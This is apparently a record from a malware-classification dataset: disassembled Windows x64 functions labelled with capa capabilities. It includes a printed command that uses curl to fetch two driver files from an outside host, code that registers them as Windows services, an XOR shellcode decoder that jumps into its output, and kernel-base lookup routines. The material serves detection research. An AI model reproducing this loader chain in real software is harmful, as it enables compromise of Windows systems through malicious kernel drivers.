joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400013c8
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r12
sub rsp, 0x20
xor edi, edi
mov ebp, edx
mov rbx, rcx
lea edx, [rdi + 1]
lea ecx, [rdi + 2]
lea r8d, [rdi + 6]
mov esi, edi
mov qword [rsp + 0x50], rdi
call qword [rbx + 0x40]
mov qword [rbx + 0x88], rax
cmp rax, 0xffffffffffffffff
je 0x1400015c9
lea r9d, [rdi + 0x40]
mov edx, 0x8000e
xor ecx, ecx
mov r8d, 0x3000
call qword [rbx + 0x10]
mov qword [rbx + 0xa0], rax
test rax, rax
je 0x1400015c9
cmp ebp, 1
jne 0x140001438
mov rcx, qword [rbx + 0xb8]
jmp 0x14000143f
mov rcx, qword [rbx + 0xc0]
lea r9, [rsp + 0x50]
xor r8d, r8d
xor edx, edx
call qword [rbx + 0x48]
test eax, eax
jne 0x1400015c9
mov rax, qword [rsp + 0x50]
mov rcx, qword [rax + 0x20]
mov rax, qword [rbx + 0xa8]
movups xmm0, xmmword [rcx]
movdqu xmmword [rbx + 0x90], xmm0
cmp ebp, 1
jne 0x140001479
mov ecx, dword [rax + 0x24]
jmp 0x14000147c
mov ecx, dword [rax + 0x30]
call qword [rbx + 0x58]
mov rcx, qword [rbx + 0x88]
lea rdx, [rbx + 0x90]
mov r8d, 0x10
mov word [rbx + 0x92], ax
call qword [rbx + 0x60]
cmp eax, 0xffffffff
je 0x1400015c9
mov rcx, qword [rbx + 0x88]
xor r9d, r9d
lea rdx, [rsp + 0x40]
lea r8d, [r9 + 3]
mov word [rsp + 0x40], 0x3436
mov byte [rsp + 0x42], dil
call qword [rbx + 0x68]
test eax, eax
jle 0x1400015c9
xor ecx, ecx
mov edx, 0x4d800
mov r8d, 0x3000
lea r9d, [rcx + 4]
mov ebp, edi
call qword [rbx + 0x10]
mov rsi, rax
test rax, rax
je 0x1400015c9
mov rcx, qword [rbx + 0x88]
xor r9d, r9d
mov r8d, 0x19000
mov rdx, rsi
call qword [rbx + 0x70]
mov r12d, eax
test eax, eax
jle 0x1400015c9
movsxd rcx, ebp
mov r8d, r12d
mov rdx, rsi
add rcx, qword [rbx + 0xa0]
call qword [rbx + 0x30]
add ebp, r12d
cmp ebp, 0x4b00e
jne 0x1400014f2
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [rbx + 0x18]
mov r11, qword [rbx + 0xa0]
mov r10, rdi
lea rax, [r11 + 0xe]
mov r9, rdi
mov qword [rbx + 0xa0], rax
movzx ecx, byte [r10 + r11 + 4]
mov r8, qword [rbx + 0xa0]
mov eax, 0x8fb823ef
inc r10
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 0x66666667
imul edx, edx, 0x1c8
sub ecx, edx
imul edi
add cl, 0x36
xor byte [r8 + r9], cl
sar edx, 2
mov ecx, edi
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
neg ecx
sbb rax, rax
inc edi
inc r9
and r10, rax
cmp edi, 0x4b00e
jl 0x140001557
call qword [rbx + 0xa0]
mov rcx, qword [rbx + 0xb0]
call rax
jmp 0x1400015c7
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x1400015d6
call qword [rbx + 0x50]
mov rcx, qword [rbx + 0x88]
cmp rcx, 0xffffffffffffffff
je 0x1400015e6
call qword [rbx + 0x78]
mov rcx, qword [rbx + 0xa0]
test rcx, rcx
je 0x1400015fd
xor edx, edx
mov r8d, 0x8000
call qword [rbx + 0x18]
test rsi, rsi
je 0x140001610
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [rbx + 0x18]
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r12
pop rdi
pop rsi
ret
Function at 0x140001958
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
mov r9, rcx
mov rbx, r8
mov ecx, dword [rax + rcx + 0x88]
mov r12d, edx
test ecx, ecx
je 0x1400019f7
cmp dword [rax + r9 + 0x8c], 0
je 0x1400019f7
lea rax, [r9 + rcx]
mov r11d, dword [rax + 0x18]
test r11d, r11d
je 0x1400019f7
mov edx, dword [rax + 0x20]
mov edi, dword [rax + 0x1c]
mov esi, dword [rax + 0x24]
add rdx, r9
add rdi, r9
add rsi, r9
xor ecx, ecx
test r11d, r11d
je 0x1400019f7
mov r8d, dword [rdx]
add r8, r9
xor r10d, r10d
mov al, byte [r8]
mov rbp, r8
jmp 0x1400019de
imul r10d, r10d, 0x83
movsx eax, al
add r10d, eax
inc rbp
mov al, byte [rbp]
test al, al
jne 0x1400019cb
btr r10d, 0x1f
cmp r10d, r12d
je 0x140001a14
inc ecx
add rdx, 4
cmp ecx, r11d
jb 0x1400019ba
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
test rbx, rbx
jne 0x140001a25
movzx ecx, word [rsi + rcx*2]
mov eax, dword [rdi + rcx*4]
add rax, r9
jmp 0x1400019f9
mov rdx, r8
mov rcx, r9
mov rax, rbx
call rax
jmp 0x1400019f9

Function at 0x140001a40
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
xor edi, edi
lea rcx, str.....x64Release_
xor r9d, r9d
mov qword [rsp + 0x30], rdi
lea edx, [rdi + 2]
lea r8d, [rdi + 1]
mov dword [rsp + 0x28], edi
lea rsi, section..text
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [rsp + 0x60], edi
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001ada
test rax, rax
je 0x140001ada
lea r8, [0x140001a34]
lea r9, [rsp + 0x60]
mov rdx, rsi
mov rcx, rax
sub r8d, esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140001ada
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
or eax, 0xffffffff
add rsp, 0x40
pop rdi
ret
Function at 0x140001010
Capabilities:
Get system information on windows
Load ntoskrnl
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r14, rcx
mov dword [rsp + 0x28], 0
mov ecx, 0xb
lea r9, [rsp + 0x28]
xor r8d, r8d
xor edx, edx
xor edi, edi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400010ab
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x28]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x28]
lea r9, [rsp + 0x28]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001060
test eax, eax
jns 0x1400010c4
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
jmp 0x140001131
xor ebx, ebx
mov qword [rsp + 0x60], rbp
cmp dword [rdi], ebx
jbe 0x140001119
lea rsi, [rdi + 0x2e]
nop dword [rax]
nop word [rax + rax]
movzx ecx, word [rsi]
lea rdx, [0x140003350]
add rcx, 0x30
movsxd rax, ebx
imul rbp, rax, 0x128
add rcx, rbp
add rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x1400011bc
inc ebx
add rsi, 0x128
cmp ebx, dword [rdi]
jb 0x1400010e0
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
mov rbp, qword [rsp + 0x60]
xor edx, edx
lea rcx, str.ntoskrnl.exe
mov r8d, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x18
lea r8, [rsp + 0x30]
mov rcx, rax
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov eax, dword [rsp + 0x38]
xor r8d, r8d
mov dword [rsp + 0x20], 0xd38b48ff
mov word [rsp + 0x24], 0x8d4c
mov byte [rsp + 0x26], 5
test eax, eax
je 0x1400011e3
lea r10, [rdi + 4]
mov r11d, eax
nop dword [rax]
xor eax, eax
lea rcx, [rsp + 0x24]
mov r9, r10
lea rdx, [rsp + 0x20]
sub r9, rcx
movzx ecx, byte [r9 + rdx]
cmp byte [rdx], cl
jne 0x1400011da
cmp eax, 6
je 0x1400011d7
inc eax
inc rdx
cmp eax, 7
jb 0x1400011a2
jmp 0x1400011da
mov rsi, qword [rdi + rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x14000112c
mov r8, r10
inc r10
sub r11, 1
jne 0x140001190
mov ebx, dword [r8 + 3]
lea rdx, str.ZwFlushInstructionCache
add ebx, 7
movabs rax, 0xffffffff00000000
add ebx, r8d
mov rcx, rdi
and r8, rax
add rbx, r8
sub rbx, rdi
add rbx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
sub rsi, rdi
lea rcx, [rbx + 0x20]
add rax, rsi
mov qword [r14], rcx
mov qword [r14 + 8], rax
mov rax, r14
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140001ac0
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x140001250
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r14, rdx
lea r8, str.RegistryMachineSystemCurrentControlSetServices_
mov rbx, rdx
mov rsi, rcx
mov edx, 0x35
mov edi, 0x34
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
movzx ecx, word [rbx]
mov rdx, rbx
test cx, cx
je 0x1400012ef
lea r8, [rbx + 2]
cmp cx, 0x5c
lea rdx, [rdx + 2]
movzx ecx, word [rdx]
mov rax, r8
cmovne rax, rbx
add r8, 2
mov rbx, rax
test cx, cx
jne 0x1400012a1
movzx ecx, word [rax]
test cx, cx
je 0x1400012ef
movzx eax, word [rax]
lea rcx, [rsi + 0x68]
movzx edx, ax
cmp dx, 0x2e
je 0x1400012ef
add rbx, 2
mov word [rcx], ax
inc edi
add rcx, 2
movzx eax, word [rbx]
movzx edx, ax
test ax, ax
jne 0x1400012d1
movsxd rax, edi
xor ecx, ecx
mov rdx, rsi
mov word [rsi + rax*2], cx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x1400013b7
lea r8, str.___
mov dword [rsp + 0x30], 1
mov edx, 5
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, r14
lea rcx, [rsp + 0x40]
mov edx, 0x87
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001350
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x40]
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x1400013b7
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140001ac0
mov rbx, qword [rsp + 0x290]
add rsp, 0x260
pop r14
pop rdi
pop rsi
ret
Function at 0x140001760
Capabilities:
Execute command

Disassembly:
push rbx
sub rsp, 0x470
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x460], rax
lea rcx, str.curl_https:__gigi.goodnight.lol_driver.sys__o_C:MarketPlaceFN.sys__curl_https:__gigi.goodnight.lol_gdrv.sys__o_C:gdrv.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r9, [rsp + 0x30]
xor r8d, r8d
mov dl, 1
mov ecx, 0xa
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
mov ebx, eax
test eax, eax
js 0x140001832
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x250]
mov edx, 0x208
lea rcx, str.C:gdrv.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
mov ebx, eax
test eax, eax
js 0x140001832
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x40]
mov edx, 0x208
lea rcx, str.C:MarketPlaceFN.sys
call qword [sym.imp.ntdll.dll_RtlGetFullPathName_UEx]
mov ebx, eax
test eax, eax
js 0x140001832
lea rdx, [rsp + 0x40]
lea rcx, [0x140005890]
call fcn.140001250
mov ebx, eax
test eax, eax
js 0x140001832
lea rdx, [rsp + 0x250]
lea rcx, [0x140005aa0]
call fcn.140001250
mov ebx, eax
test eax, eax
js 0x140001832
call fcn.1400013e0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
call fcn.1400018e0
mov eax, 1
mov rcx, qword [rsp + 0x460]
xor rcx, rsp
call fcn.140001ac0
add rsp, 0x470
pop rbx
ret

Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400023ca
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400023ca
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400023ca
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400023ca
cmp dword [rcx + 0x84], 0xe
jbe 0x1400023ca
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400023cc
xor al, al
add rsp, 0x28
ret
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140172c00]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x140172c10]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140176008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140172b70]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.14015b9a0
mov rcx, qword [0x140172c90]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x140172bf0]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.14015b7b0
mov ebx, dword [0x140176028]
lea r12d, [rbx + 1]
movsxd r12, r12d
shl r12, 3
mov rcx, r12
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov rdi, qword [0x140176020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub r12, 8
xor ebx, ebx
nop dword [rax]
mov rcx, qword [rdi + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_wcslen
lea rsi, [rax + rax + 2]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [rdi + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rbx, r12
jne 0x140001288
add rbx, rbp
mov qword [rbx], 0
mov qword [0x140176020], rbp
call fcn.14015b4f0
mov rax, qword [0x140172b80]
mov r8, qword [0x140176018]
mov ecx, dword [0x140176028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140176020]
call fcn.14015b510
mov ecx, dword [0x14017600c]
mov dword [0x140176010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140176008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x140172c10]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call fcn.14015c750
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x140172c30]
mov rcx, qword [0x140172c20]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x140176010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140172c50]
mov rcx, qword [0x140172c40]
mov dword [rsi], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011f5
mov rbx, rax
jmp 0x1400012be
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
Function at 0x14015b7c0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.14015c5c0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]

Function at 0x14015b830
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14017a8f4]
mov rbx, rcx
test esi, esi
jle 0x14015b960
mov rax, qword [0x14017a8f8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14015b87b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x14015b905
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x14015b860
mov rcx, rbx
call fcn.14015c2a0
mov rdi, rax
test rax, rax
je 0x14015b982
mov rax, qword [0x14017a8f8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.14015c3e0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14017a8f8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14015b967
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14015b8fe
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x14015b910
add dword [0x14017a8f4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14017a8f8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14015b8fe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.14015b7c0
nop dword [rax]
xor esi, esi
jmp 0x14015b888
mov rax, qword [0x14017a8f8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.14015b7c0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.14015b7c0
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x14015bf10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14017a960]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14017a940]
test rbx, rbx
je 0x14015bf6c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x14015bf63
test eax, eax
jne 0x14015bf63
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14015bf48
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14015c2a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140172b40]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x14015c2c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x14015c2c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x14015c2c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14015c31d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14015c314
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14015c2c0
add rax, 0x28
cmp rax, r9
jne 0x14015c300
xor eax, eax
ret

Function at 0x14015c320
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140172b40]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14015c33f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x14015c348
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14015c33f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x14015c3e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140172b40]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14015c3ff
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x14015c408
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140004a00
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r9, rcx
mov r10d, 0x270
mov ecx, dword [rcx]
cmp ecx, r10d
jne 0x140004a61
lea r8, [r9 + 8]
nop dword [rax + rax]
mov edx, dword [r8 - 4]
xor edx, dword [r8]
lea r8, [r8 + 4]
btr edx, 0x1f
xor edx, dword [r8 - 8]
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x62c]
xor ecx, edx
mov dword [r8 + 0x9b8], ecx
sub r10, 1
jne 0x140004a20
mov ecx, dword [r9]
jmp 0x140004b4b
cmp ecx, 0x4e0
jb 0x140004b4b
lea r10, [r9 + 0x9c4]
mov qword [rsp], rbx
mov r11d, dword [r10]
mov ebx, 0xe3
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
add r10, 4
mov edx, r11d
xor edx, eax
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 + 0x634]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140004a80
lea r10, [r9 + 0xd50]
mov ebx, 0x18c
mov r11d, dword [r10]
nop
mov eax, r11d
mov r8, r10
mov r11d, dword [r10 + 4]
mov edx, eax
xor edx, r11d
add r10, 4
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r8 - 0xd4c]
xor ecx, edx
mov dword [r8 - 0x9c0], ecx
sub rbx, 1
jne 0x140004ad0
mov eax, dword [r9 + 0x1380]
mov edx, eax
xor edx, dword [r9 + 4]
mov rbx, qword [rsp]
btr edx, 0x1f
xor edx, eax
mov eax, edx
and al, 1
neg al
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [r9 + 0x634]
xor ecx, edx
mov dword [r9 + 0x9c0], ecx
xor ecx, ecx
mov dword [r9], ecx
mov eax, ecx
mov edx, dword [r9 + rax*4 + 4]
lea eax, [rcx + 1]
mov dword [r9], eax
mov ecx, edx
mov eax, dword [r9 + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
add rsp, 8
ret

Function at 0x140007340
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000739d
lea rbx, [0x140050bb0]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140007384
cmp r10, 2
jb 0x140007384
cmp byte [r9], r8b
jne 0x140007384
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140007360
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x1400073df
lea rbx, [0x140050bb0]
cmp r8b, 0x23
jne 0x1400073c3
cmp byte [r9], r8b
jne 0x1400073c3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x1400073b0
mov rbx, qword [rsp + 8]
not eax
ret
Function at 0x140007520
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push r14
sub rsp, 0x20
mov r14, r8
test r8, r8
je 0x14000753a
mov qword [r8], 0
lea rdx, [0x14005555c]
call fcn.1400073f0
mov rbx, rax
test rax, rax
jne 0x14000755a
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rsi
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
cmp eax, 0xffffffff
je 0x140007631
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x140007631
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x140007631
xor r8d, r8d
mov edx, esi
mov rcx, rbx
